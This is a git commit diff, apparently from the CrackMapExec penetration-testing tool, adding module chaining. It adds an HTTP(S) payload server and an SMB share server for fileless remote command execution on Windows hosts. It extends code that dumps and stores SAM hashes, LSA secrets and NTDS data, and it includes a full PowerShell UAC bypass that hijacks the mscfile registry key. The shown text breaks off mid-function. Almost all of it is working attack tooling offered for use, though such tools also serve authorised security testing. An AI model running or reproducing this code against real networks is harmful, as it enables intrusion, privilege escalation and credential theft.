Initial implementation of module chaining
Oook, this commit is basicallu just so I can start tracking (and testing) all of the changes made so far: - All execution methods are now completely fileless, all output and/or batch files get outputted/hosted locally on a SMB server that gets spun up on runtime - Module structure has been modified for module chaining - Module chaining implementation is currently very hacky, I definitly have to figure out something more elegant but for now it works. Module chaining is performed via the -MC flag and has it's own mini syntax (will be adding it to the wiki) - You can now specify credential ID ranges using the -id flag - Added the eventvwr_bypass and rundll32_exec modules - Renamed a lot of the modules for naming consistency TODO: - Launchers/Payloads need to be escaped before being generated when module chaining - Add check for modules 'required_server' attribute - Finish modifying the functions in the Connection object so they return the resultsmain
parent
e67fc4ca8f
commit
db056d1ab4
|
@ -0,0 +1,109 @@
|
|||
import BaseHTTPServer
|
||||
import threading
|
||||
import ssl
|
||||
import os
|
||||
import sys
|
||||
from BaseHTTPServer import BaseHTTPRequestHandler
|
||||
from logging import getLogger
|
||||
from gevent import sleep
|
||||
from cme.helpers import highlight
|
||||
from cme.logger import CMEAdapter
|
||||
from cme.cmeserver import CMEServer
|
||||
|
||||
class RequestHandler(BaseHTTPRequestHandler):
|
||||
|
||||
def log_message(self, format, *args):
|
||||
module = self.server.host_chain[self.client_address[0]][0]
|
||||
server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
|
||||
server_logger.info("- - %s" % (format%args))
|
||||
|
||||
def do_GET(self):
|
||||
current_module = self.server.host_chain[self.client_address[0]][0]
|
||||
|
||||
if hasattr(current_module, 'on_request'):
|
||||
|
||||
module_list = self.server.host_chain[self.client_address[0]][:]
|
||||
module_list.reverse()
|
||||
|
||||
final_launcher = module_list[0].launcher(self.server.context, None if not hasattr(module_list[0], 'command') else module_list[0].command)
|
||||
if len(module_list) > 2:
|
||||
for module in module_list:
|
||||
if module == current_module or module == module_list[0]:
|
||||
continue
|
||||
|
||||
server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
|
||||
self.server.context.log = server_logger
|
||||
|
||||
final_launcher = module.launcher(self.server.context, final_launcher)
|
||||
|
||||
server_logger = CMEAdapter(getLogger('CME'), {'module': current_module.name.upper(), 'host': self.client_address[0]})
|
||||
self.server.context.log = server_logger
|
||||
|
||||
if current_module == module_list[0]: final_launcher = None if not hasattr(module_list[0], 'command') else module_list[0].command
|
||||
|
||||
launcher = current_module.launcher(self.server.context, final_launcher)
|
||||
payload = current_module.payload(self.server.context, final_launcher)
|
||||
|
||||
current_module.on_request(self.server.context, self, launcher, payload)
|
||||
|
||||
if not hasattr(current_module, 'on_response'):
|
||||
try:
|
||||
del self.server.host_chain[self.client_address[0]][0]
|
||||
except KeyError or IndexError:
|
||||
pass
|
||||
|
||||
def do_POST(self):
|
||||
self.server.log.debug(self.server.host_chain)
|
||||
module = self.server.host_chain[self.client_address[0]][0]
|
||||
|
||||
if hasattr(module, 'on_response'):
|
||||
server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
|
||||
self.server.context.log = server_logger
|
||||
module.on_response(self.server.context, self)
|
||||
|
||||
try:
|
||||
del self.server.host_chain[self.client_address[0]][0]
|
||||
except KeyError or IndexError:
|
||||
pass
|
||||
|
||||
def stop_tracking_host(self):
|
||||
'''
|
||||
This gets called when a module has finshed executing, removes the host from the connection tracker list
|
||||
'''
|
||||
if len(self.server.host_chain[self.client_address[0]]) == 1:
|
||||
try:
|
||||
self.server.hosts.remove(self.client_address[0])
|
||||
del self.server.host_chain[self.client_address[0]]
|
||||
except ValueError:
|
||||
pass
|
||||
|
||||
class CMEChainServer(CMEServer):
|
||||
|
||||
def __init__(self, chain_list, context, logger, srv_host, port, server_type='https'):
|
||||
|
||||
try:
|
||||
threading.Thread.__init__(self)
|
||||
|
||||
self.server = BaseHTTPServer.HTTPServer((srv_host, int(port)), RequestHandler)
|
||||
self.server.hosts = []
|
||||
self.server.host_chain = {}
|
||||
self.server.chain_list = chain_list
|
||||
self.server.context = context
|
||||
self.server.log = context.log
|
||||
self.cert_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem')
|
||||
|
||||
if server_type == 'https':
|
||||
self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True)
|
||||
|
||||
except Exception as e:
|
||||
errno, message = e.args
|
||||
if errno == 98 and message == 'Address already in use':
|
||||
logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port')
|
||||
else:
|
||||
logger.error('Error starting HTTP(S) server: {}'.format(message))
|
||||
|
||||
sys.exit(1)
|
||||
|
||||
def track_host(self, host_ip):
|
||||
self.server.hosts.append(host_ip)
|
||||
self.server.host_chain[host_ip] = [module['object'] for module in self.server.chain_list]
|
|
@ -3,7 +3,6 @@ import threading
|
|||
import ssl
|
||||
import os
|
||||
import sys
|
||||
from getpass import getuser
|
||||
from BaseHTTPServer import BaseHTTPRequestHandler
|
||||
from logging import getLogger
|
||||
from gevent import sleep
|
||||
|
@ -20,7 +19,11 @@ class RequestHandler(BaseHTTPRequestHandler):
|
|||
if hasattr(self.server.module, 'on_request'):
|
||||
server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]})
|
||||
self.server.context.log = server_logger
|
||||
self.server.module.on_request(self.server.context, self)
|
||||
|
||||
launcher = self.server.module.launcher(self.server.context, None if not hasattr(self.server.module, 'command') else self.server.module.command)
|
||||
payload = self.server.module.payload(self.server.context, None if not hasattr(self.server.module, 'command') else self.server.module.command)
|
||||
|
||||
self.server.module.on_request(self.server.context, self, launcher, payload)
|
||||
|
||||
def do_POST(self):
|
||||
if hasattr(self.server.module, 'on_response'):
|
||||
|
@ -41,10 +44,6 @@ class CMEServer(threading.Thread):
|
|||
|
||||
def __init__(self, module, context, logger, srv_host, port, server_type='https'):
|
||||
|
||||
if port <= 1024 and os.geteuid() != 0:
|
||||
logger.error("I'm sorry {}, I'm afraid I can't let you do that".format(getuser()))
|
||||
sys.exit(1)
|
||||
|
||||
try:
|
||||
threading.Thread.__init__(self)
|
||||
|
||||
|
@ -61,15 +60,18 @@ class CMEServer(threading.Thread):
|
|||
except Exception as e:
|
||||
errno, message = e.args
|
||||
if errno == 98 and message == 'Address already in use':
|
||||
logger.error('Error starting CME server: the port is already in use, try specifying a diffrent port using --server-port')
|
||||
logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port')
|
||||
else:
|
||||
logger.error('Error starting CME server: {}'.format(message))
|
||||
logger.error('Error starting HTTP(S) server: {}'.format(message))
|
||||
|
||||
sys.exit(1)
|
||||
|
||||
def base_server(self):
|
||||
return self.server
|
||||
|
||||
def track_host(self, host_ip):
|
||||
self.server.hosts.append(host_ip)
|
||||
|
||||
def run(self):
|
||||
try:
|
||||
self.server.serve_forever()
|
||||
|
|
|
@ -0,0 +1,50 @@
|
|||
import threading
|
||||
import logging
|
||||
import sys
|
||||
import os
|
||||
from impacket import smbserver
|
||||
|
||||
class CMESMBServer(threading.Thread):
|
||||
|
||||
def __init__(self, logger, share_name, verbose=False):
|
||||
|
||||
try:
|
||||
threading.Thread.__init__(self)
|
||||
|
||||
self.server = smbserver.SimpleSMBServer()
|
||||
self.server.addShare(share_name.upper(), os.path.join('/tmp', 'cme_hosted'))
|
||||
if verbose: self.server.setLogFile('')
|
||||
self.server.setSMB2Support(False)
|
||||
self.server.setSMBChallenge('')
|
||||
|
||||
except Exception as e:
|
||||
errno, message = e.args
|
||||
if errno == 98 and message == 'Address already in use':
|
||||
logger.error('Error starting SMB server: the port is already in use')
|
||||
else:
|
||||
logger.error('Error starting SMB server: {}'.format(message))
|
||||
|
||||
sys.exit(1)
|
||||
|
||||
def run(self):
|
||||
try:
|
||||
self.server.start()
|
||||
except:
|
||||
pass
|
||||
|
||||
def shutdown(self):
|
||||
#try:
|
||||
# while len(self.server.hosts) > 0:
|
||||
# self.server.log.info('Waiting on {} host(s)'.format(highlight(len(self.server.hosts))))
|
||||
# sleep(15)
|
||||
#except KeyboardInterrupt:
|
||||
# pass
|
||||
|
||||
self._Thread__stop()
|
||||
# make sure all the threads are killed
|
||||
for thread in threading.enumerate():
|
||||
if thread.isAlive():
|
||||
try:
|
||||
thread._Thread__stop()
|
||||
except:
|
||||
pass
|
|
@ -41,12 +41,14 @@ def requires_admin(func):
|
|||
|
||||
class Connection:
|
||||
|
||||
def __init__(self, args, db, host, module, cmeserver):
|
||||
def __init__(self, args, db, host, module, chain_list, cmeserver, share_name):
|
||||
self.args = args
|
||||
self.db = db
|
||||
self.host = host
|
||||
self.module = module
|
||||
self.chain_list = chain_list
|
||||
self.cmeserver = cmeserver
|
||||
self.share_name = share_name
|
||||
self.conn = None
|
||||
self.hostname = None
|
||||
self.domain = None
|
||||
|
@ -148,9 +150,13 @@ class Connection:
|
|||
|
||||
self.login()
|
||||
|
||||
if ((self.password is not None or self.hash is not None) and self.username is not None):
|
||||
if (self.password is not None or self.hash is not None) and self.username is not None:
|
||||
|
||||
if self.module or self.chain_list:
|
||||
|
||||
if self.chain_list:
|
||||
module = self.chain_list[0]['object']
|
||||
|
||||
if self.module:
|
||||
module_logger = CMEAdapter(getLogger('CME'), {
|
||||
'module': module.name.upper(),
|
||||
'host': self.host,
|
||||
|
@ -163,13 +169,42 @@ class Connection:
|
|||
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
|
||||
cmeserver.server.context.localip = local_ip
|
||||
|
||||
if hasattr(module, 'on_login'):
|
||||
module.on_login(context, self)
|
||||
if self.module:
|
||||
|
||||
if hasattr(module, 'on_admin_login') and self.admin_privs:
|
||||
module.on_admin_login(context, self)
|
||||
launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command)
|
||||
payload = module.payload(context, None if not hasattr(module, 'command') else module.command)
|
||||
|
||||
elif self.module is None:
|
||||
if hasattr(module, 'on_login'):
|
||||
module.on_login(context, self, launcher, payload)
|
||||
|
||||
if self.admin_privs and hasattr(module, 'on_admin_login'):
|
||||
module.on_admin_login(context, self, launcher, payload)
|
||||
|
||||
elif self.chain_list:
|
||||
module_list = self.chain_list[:]
|
||||
module_list.reverse()
|
||||
|
||||
final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command)
|
||||
if len(module_list) > 2:
|
||||
for m in module_list:
|
||||
if m['object'] == module or m['object'] == module_list[0]['object']:
|
||||
continue
|
||||
|
||||
final_launcher = m['object'].launcher(context, final_launcher)
|
||||
|
||||
if module == module_list[0]['object']:
|
||||
final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command
|
||||
|
||||
launcher = module.launcher(context, final_launcher)
|
||||
payload = module.payload(context, final_launcher)
|
||||
|
||||
if hasattr(module, 'on_login'):
|
||||
module.on_login(context, self)
|
||||
|
||||
if self.admin_privs and hasattr(module, 'on_admin_login'):
|
||||
module.on_admin_login(context, self, launcher, payload)
|
||||
|
||||
elif self.module is None and self.chain_list is None:
|
||||
for k, v in vars(self.args).iteritems():
|
||||
if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
|
||||
if v is not False and v is not None:
|
||||
|
@ -345,16 +380,16 @@ class Connection:
|
|||
for cred_id in self.args.cred_id:
|
||||
with sem:
|
||||
try:
|
||||
c_id, credtype, domain, username, password = self.db.get_credentials(filterTerm=cred_id)[0]
|
||||
c_id, credtype, domain, username, password = self.db.get_credentials(filterTerm=int(cred_id))[0]
|
||||
|
||||
if not domain: domain = self.domain
|
||||
if self.args.domain: domain = self.args.domain
|
||||
|
||||
if credtype == 'hash' and not self.over_fail_limit(username):
|
||||
self.hash_login(domain, username, password)
|
||||
if self.hash_login(domain, username, password): return
|
||||
|
||||
elif credtype == 'plaintext' and not self.over_fail_limit(username):
|
||||
self.plaintext_login(domain, username, password)
|
||||
if self.plaintext_login(domain, username, password): return
|
||||
|
||||
except IndexError:
|
||||
self.logger.error("Invalid database credential ID!")
|
||||
|
@ -442,7 +477,7 @@ class Connection:
|
|||
|
||||
if method == 'wmiexec':
|
||||
try:
|
||||
exec_method = WMIEXEC(self.host, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
|
||||
exec_method = WMIEXEC(self.host, self.share_name, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
|
||||
logging.debug('Executed command via wmiexec')
|
||||
break
|
||||
except:
|
||||
|
@ -452,7 +487,7 @@ class Connection:
|
|||
|
||||
elif method == 'atexec':
|
||||
try:
|
||||
exec_method = TSCH_EXEC(self.host, self.username, self.password, self.domain, self.hash) #self.args.share)
|
||||
exec_method = TSCH_EXEC(self.host, self.share_name, self.username, self.password, self.domain, self.hash) #self.args.share)
|
||||
logging.debug('Executed command via atexec')
|
||||
break
|
||||
except:
|
||||
|
@ -462,7 +497,7 @@ class Connection:
|
|||
|
||||
elif method == 'smbexec':
|
||||
try:
|
||||
exec_method = SMBEXEC(self.host, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
|
||||
exec_method = SMBEXEC(self.host, self.share_name, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
|
||||
logging.debug('Executed command via smbexec')
|
||||
break
|
||||
except:
|
||||
|
@ -470,9 +505,7 @@ class Connection:
|
|||
logging.debug(format_exc())
|
||||
continue
|
||||
|
||||
if self.cmeserver:
|
||||
if hasattr(self.cmeserver.server.module, 'on_request') or hasattr(self.cmeserver.server.module, 'on_response'):
|
||||
self.cmeserver.server.hosts.append(self.host)
|
||||
if self.cmeserver: self.cmeserver.track_host(self.host)
|
||||
|
||||
output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8'))
|
||||
|
||||
|
@ -502,7 +535,9 @@ class Connection:
|
|||
|
||||
@requires_admin
|
||||
def ntds(self):
|
||||
return DumpSecrets(self).NTDS_dump()
|
||||
#We could just return the whole NTDS.dit database but in large domains it would be huge
|
||||
#and would take up too much memory
|
||||
DumpSecrets(self).NTDS_dump()
|
||||
|
||||
@requires_admin
|
||||
def wdigest(self):
|
||||
|
|
|
@ -10,10 +10,14 @@ from argparse import RawTextHelpFormatter
|
|||
from cme.connection import Connection
|
||||
from cme.database import CMEDatabase
|
||||
from cme.logger import setup_logger, setup_debug_logger, CMEAdapter
|
||||
from cme.helpers import highlight
|
||||
from cme.helpers import highlight, gen_random_string
|
||||
from cme.targetparser import parse_targets
|
||||
from cme.moduleloader import ModuleLoader
|
||||
from cme.modulechainloader import ModuleChainLoader
|
||||
from cme.cmesmbserver import CMESMBServer
|
||||
from cme.first_run import first_run_setup
|
||||
from getpass import getuser
|
||||
from pprint import pformat
|
||||
import sqlite3
|
||||
import argparse
|
||||
import os
|
||||
|
@ -56,7 +60,7 @@ def main():
|
|||
|
||||
parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets")
|
||||
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (default: 100)")
|
||||
parser.add_argument('-id', metavar="CRED_ID", nargs='*', default=[], type=int, dest='cred_id', help='Database credential ID(s) to use for authentication')
|
||||
parser.add_argument('-id', metavar="CRED_ID", nargs='*', default=[], type=str, dest='cred_id', help='Database credential ID(s) to use for authentication')
|
||||
parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='*', default=[], help="Username(s) or file(s) containing usernames")
|
||||
ddgroup = parser.add_mutually_exclusive_group()
|
||||
ddgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name")
|
||||
|
@ -64,7 +68,9 @@ def main():
|
|||
msgroup = parser.add_mutually_exclusive_group()
|
||||
msgroup.add_argument("-p", metavar="PASSWORD", dest='password', nargs= '*', default=[], help="Password(s) or file(s) containing passwords")
|
||||
msgroup.add_argument("-H", metavar="HASH", dest='hash', nargs='*', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
|
||||
parser.add_argument("-M", "--module", metavar='MODULE', dest='module', help='Payload module to use')
|
||||
mcgroup = parser.add_mutually_exclusive_group()
|
||||
mcgroup.add_argument("-M", "--module", metavar='MODULE', help='Payload module to use')
|
||||
mcgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run')
|
||||
parser.add_argument('-o', metavar='MODULE_OPTION', nargs='*', default=[], dest='module_options', help='Payload module options')
|
||||
parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules')
|
||||
parser.add_argument('--show-options', action='store_true', help='Display module options')
|
||||
|
@ -131,18 +137,25 @@ def main():
|
|||
|
||||
cme_path = os.path.expanduser('~/.cme')
|
||||
|
||||
module = None
|
||||
server = None
|
||||
context = None
|
||||
targets = []
|
||||
module = None
|
||||
chain_list = None
|
||||
server = None
|
||||
context = None
|
||||
smb_server = None
|
||||
share_name = gen_random_string(5).upper()
|
||||
targets = []
|
||||
server_port_dict = {'http': 80, 'https': 443}
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if os.geteuid() != 0:
|
||||
logger.error("I'm sorry {}, I'm afraid I can't let you do that (cause I need root)".format(getuser()))
|
||||
sys.exit(1)
|
||||
|
||||
if args.verbose:
|
||||
setup_debug_logger()
|
||||
|
||||
logging.debug(vars(args))
|
||||
logging.debug('Passed args:\n' + pformat(vars(args)))
|
||||
|
||||
if not args.server_port:
|
||||
args.server_port = server_port_dict[args.server]
|
||||
|
@ -172,6 +185,14 @@ def main():
|
|||
args.hash.remove(ntlm_hash)
|
||||
args.hash.append(open(ntlm_hash, 'r'))
|
||||
|
||||
if args.cred_id:
|
||||
for cred_id in args.cred_id:
|
||||
if '-' in str(cred_id):
|
||||
start_id, end_id = cred_id.split('-')
|
||||
for n in range(int(start_id), int(end_id) + 1):
|
||||
args.cred_id.append(n)
|
||||
args.cred_id.remove(cred_id)
|
||||
|
||||
for target in args.target:
|
||||
if os.path.exists(target):
|
||||
with open(target, 'r') as target_file:
|
||||
|
@ -186,7 +207,7 @@ def main():
|
|||
|
||||
if args.list_modules:
|
||||
for m in modules:
|
||||
logger.info('{:<20} {}'.format(m, modules[m]['description']))
|
||||
logger.info('{:<25} Chainable: {:<10} {}'.format(m, str(modules[m]['chain_support']), modules[m]['description']))
|
||||
sys.exit(0)
|
||||
|
||||
elif args.module and args.show_options:
|
||||
|
@ -200,13 +221,20 @@ def main():
|
|||
if args.module.lower() == m.lower():
|
||||
module, context, server = loader.init_module(modules[m]['path'])
|
||||
|
||||
elif args.module_chain:
|
||||
chain_list, server = ModuleChainLoader(args, db, logger).init_module_chain()
|
||||
|
||||
if args.execute or args.ps_execute or args.module or args.module_chain:
|
||||
smb_server = CMESMBServer(logger, share_name, args.verbose)
|
||||
smb_server.start()
|
||||
|
||||
try:
|
||||
'''
|
||||
Open all the greenlet (as supposed to redlet??) threads
|
||||
Whoever came up with that name has a fetish for traffic lights
|
||||
'''
|
||||
pool = Pool(args.threads)
|
||||
jobs = [pool.spawn(Connection, args, db, str(target), module, server) for target in targets]
|
||||
jobs = [pool.spawn(Connection, args, db, str(target), module, chain_list, server, share_name) for target in targets]
|
||||
|
||||
#Dumping the NTDS.DIT and/or spidering shares can take a long time, so we ignore the thread timeout
|
||||
if args.ntds or args.spider:
|
||||
|
@ -220,4 +248,8 @@ def main():
|
|||
if server:
|
||||
server.shutdown()
|
||||
|
||||
if smb_server:
|
||||
pass
|
||||
#smb_server.shutdown()
|
||||
|
||||
logger.info('KTHXBYE!')
|
|
@ -181,6 +181,8 @@ class LSASecrets(OfflineRegistry):
|
|||
self.__cachedItems.append(answer)
|
||||
self.__logger.highlight(answer)
|
||||
|
||||
return self.__cachedItems
|
||||
|
||||
def __printSecret(self, name, secretItem):
|
||||
# Based on [MS-LSAD] section 3.1.1.4
|
||||
|
||||
|
@ -302,6 +304,8 @@ class LSASecrets(OfflineRegistry):
|
|||
|
||||
self.__printSecret(key, secret)
|
||||
|
||||
return self.__secretItems
|
||||
|
||||
def exportSecrets(self, fileName):
|
||||
if len(self.__secretItems) > 0:
|
||||
fd = codecs.open(fileName+'.secrets','w+', encoding='utf-8')
|
||||
|
|
|
@ -67,6 +67,7 @@ class SAMHashes(OfflineRegistry):
|
|||
def dump(self):
|
||||
NTPASSWORD = "NTPASSWORD\0"
|
||||
LMPASSWORD = "LMPASSWORD\0"
|
||||
sam_hashes = []
|
||||
|
||||
if self.__samFile is None:
|
||||
# No SAM file provided
|
||||
|
@ -114,8 +115,11 @@ class SAMHashes(OfflineRegistry):
|
|||
answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash))
|
||||
self.__itemsFound[rid] = answer
|
||||
self.__logger.highlight(answer)
|
||||
sam_hashes.append(answer)
|
||||
self.__db.add_credential('hash', self.__hostname, userName, '{}:{}'.format(hexlify(lmHash), hexlify(ntHash)))
|
||||
|
||||
return sam_hashes
|
||||
|
||||
def export(self, fileName):
|
||||
if len(self.__itemsFound) > 0:
|
||||
items = sorted(self.__itemsFound)
|
||||
|
|
|
@ -97,32 +97,47 @@ class DumpSecrets:
|
|||
|
||||
def SAM_dump(self):
|
||||
self.enableRemoteRegistry()
|
||||
sam_hashes = []
|
||||
try:
|
||||
SAMFileName = self.__remoteOps.saveSAM()
|
||||
self.__SAMHashes = SAMHashes(SAMFileName, self.__bootKey, self.__logger, self.__db, self.__host, self.__hostname, isRemote = True)
|
||||
self.__SAMHashes.dump()
|
||||
self.__SAMHashes = SAMHashes(SAMFileName,
|
||||
self.__bootKey,
|
||||
self.__logger,
|
||||
self.__db,
|
||||
self.__host,
|
||||
self.__hostname,
|
||||
isRemote = True)
|
||||
sam_hashes.extend(self.__SAMHashes.dump())
|
||||
self.__SAMHashes.export(self.__outputFileName)
|
||||
except Exception as e:
|
||||
traceback.print_exc()
|
||||
logging.error('SAM hashes extraction failed: %s' % str(e))
|
||||
|
||||
self.cleanup()
|
||||
return sam_hashes
|
||||
|
||||
def LSA_dump(self):
|
||||
self.enableRemoteRegistry()
|
||||
lsa_secrets = []
|
||||
try:
|
||||
SECURITYFileName = self.__remoteOps.saveSECURITY()
|
||||
|
||||
self.__LSASecrets = LSASecrets(SECURITYFileName, self.__bootKey, self.__logger, self.__remoteOps, isRemote=self.__isRemote)
|
||||
self.__LSASecrets.dumpCachedHashes()
|
||||
self.__LSASecrets = LSASecrets(SECURITYFileName,
|
||||
self.__bootKey,
|
||||
self.__logger,
|
||||
self.__remoteOps,
|
||||
isRemote=self.__isRemote)
|
||||
|
||||
lsa_secrets.extend(self.__LSASecrets.dumpCachedHashes())
|
||||
self.__LSASecrets.exportCached(self.__outputFileName)
|
||||
self.__LSASecrets.dumpSecrets()
|
||||
lsa_secrets.extend(self.__LSASecrets.dumpSecrets())
|
||||
self.__LSASecrets.exportSecrets(self.__outputFileName)
|
||||
except Exception as e:
|
||||
traceback.print_exc()
|
||||
logging.error('LSA hashes extraction failed: %s' % str(e))
|
||||
|
||||
self.cleanup()
|
||||
return lsa_secrets
|
||||
|
||||
def NTDS_dump(self, method, pwdLastSet, history):
|
||||
self.__pwdLastSet = pwdLastSet
|
||||
|
@ -158,10 +173,29 @@ class DumpSecrets:
|
|||
def cleanup(self):
|
||||
logging.info('Cleaning up... ')
|
||||
if self.__remoteOps:
|
||||
self.__remoteOps.finish()
|
||||
try:
|
||||
self.__remoteOps.finish()
|
||||
except:
|
||||
logging.debug('Error calling remoteOps.finish(), traceback:')
|
||||
logging.debug(traceback.format_exc())
|
||||
|
||||
if self.__SAMHashes:
|
||||
self.__SAMHashes.finish()
|
||||
try:
|
||||
self.__SAMHashes.finish()
|
||||
except:
|
||||
logging.debug('Error calling SAMHashes.finish(), traceback:')
|
||||
logging.debug(traceback.format_exc())
|
||||
|
||||
if self.__LSASecrets:
|
||||
self.__LSASecrets.finish()
|
||||
try:
|
||||
self.__LSASecrets.finish()
|
||||
except:
|
||||
logging.debug('Error calling LSASecrets.finish(), traceback:')
|
||||
logging.debug(traceback.format_exc())
|
||||
|
||||
if self.__NTDSHashes:
|
||||
self.__NTDSHashes.finish()
|
||||
try:
|
||||
self.__NTDSHashes.finish()
|
||||
except:
|
||||
logging.debug('Error calling NTDSHashes.finish(), traceback:')
|
||||
logging.debug(traceback.format_exc())
|
|
@ -0,0 +1,82 @@
|
|||
function Invoke-EventVwrBypass {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Bypasses UAC by performing an image hijack on the .msc file extension
|
||||
Expected to work on Win7, 8.1 and Win10
|
||||
|
||||
Only tested on Windows 7 and Windows 10
|
||||
|
||||
Author: Matt Nelson (@enigma0x3)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.PARAMETER Command
|
||||
|
||||
Specifies the command you want to run in a high-integrity context. For example, you can pass it powershell.exe followed by any encoded command "powershell -enc <encodedCommand>"
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Invoke-EventVwrBypass -Command "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc IgBJAHMAIABFAGwAZQB2AGEAdABlAGQAOgAgACQAKAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApACkALgBJAHMASQBuAFIAbwBsAGUAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBCAHUAaQBsAHQASQBuAFIAbwBsAGUAXQAnAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAJwApACkAIAAtACAAJAAoAEcAZQB0AC0ARABhAHQAZQApACIAIAB8ACAATwB1AHQALQBGAGkAbABlACAAQwA6AFwAVQBBAEMAQgB5AHAAYQBzAHMAVABlAHMAdAAuAHQAeAB0ACAALQBBAHAAcABlAG4AZAA="
|
||||
|
||||
This will write out "Is Elevated: True" to C:\UACBypassTest.
|
||||
|
||||
#>
|
||||
|
||||
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
|
||||
Param (
|
||||
[Parameter(Mandatory = $True)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Command,
|
||||
|
||||
[Switch]
|
||||
$Force
|
||||
)
|
||||
|
||||
$mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
|
||||
#Add in the new registry entries to hijack the msc file
|
||||
if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
|
||||
New-Item $mscCommandPath -Force |
|
||||
New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
|
||||
}else{
|
||||
Write-Verbose "Key already exists, consider using -Force"
|
||||
exit
|
||||
}
|
||||
|
||||
if (Test-Path $mscCommandPath) {
|
||||
Write-Verbose "Created registry entries to hijack the msc extension"
|
||||
}else{
|
||||
Write-Warning "Failed to create registry key, exiting"
|
||||
exit
|
||||
}
|
||||
|
||||
|
||||
$EventvwrPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'eventvwr.exe'
|
||||
|
||||
#Start Event Viewer
|
||||
if ($PSCmdlet.ShouldProcess($EventvwrPath, 'Start process')) {
|
||||
$Process = Start-Process -FilePath $EventvwrPath -PassThru
|
||||
Write-Verbose "Started eventvwr.exe"
|
||||
}
|
||||
|
||||
#Sleep 5 seconds
|
||||
Write-Verbose "Sleeping 5 seconds to trigger payload"
|
||||
if (-not $PSBoundParameters['WhatIf']) {
|
||||
Start-Sleep -Seconds 5
|
||||
}
|
||||
|
||||
$mscfilePath = "HKCU:\Software\Classes\mscfile"
|
||||
|
||||
if (Test-Path $mscfilePath) {
|
||||
#Remove the registry entry
|
||||
Remove-Item $mscfilePath -Recurse -Force
|
||||
Write-Verbose "Removed registry entries"
|
||||
}
|
||||
|
||||
if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){
|
||||
Stop-Process -Id $Process.Id
|
||||
Write-Verbose "Killed running eventvwr process"
|
||||
}
|
||||
}
|
|
@ -38,3 +38,5 @@ class ShareEnum:
|
|||
self.logger.highlight(u'{:<15} {}'.format(share, 'NO ACCESS'))
|
||||
else:
|
||||
self.logger.highlight(u'{:<15} {}'.format(share, ', '.join(perm)))
|
||||
|
||||
return self.permissions
|
||||
|
|
|
@ -1,14 +1,17 @@
|
|||
import os
|
||||
import logging
|
||||
from impacket.dcerpc.v5 import tsch, transport
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from cme.helpers import gen_random_string
|
||||
from gevent import sleep
|
||||
|
||||
class TSCH_EXEC:
|
||||
def __init__(self, target, username, password, domain, hashes=None):
|
||||
def __init__(self, target, share_name, username, password, domain, hashes=None):
|
||||
self.__target = target
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__share_name = share_name
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__outputBuffer = ''
|
||||
|
@ -36,21 +39,22 @@ class TSCH_EXEC:
|
|||
|
||||
def execute(self, command, output=False):
|
||||
self.__retOutput = output
|
||||
self.doStuff(command)
|
||||
self.execute_handler(command)
|
||||
return self.__outputBuffer
|
||||
|
||||
def doStuff(self, command):
|
||||
|
||||
def output_callback(data):
|
||||
self.__outputBuffer = data
|
||||
def output_callback(self, data):
|
||||
self.__outputBuffer = data
|
||||
|
||||
dce = self.__rpctransport.get_dce_rpc()
|
||||
def execute_handler(self, data):
|
||||
if self.__retOutput:
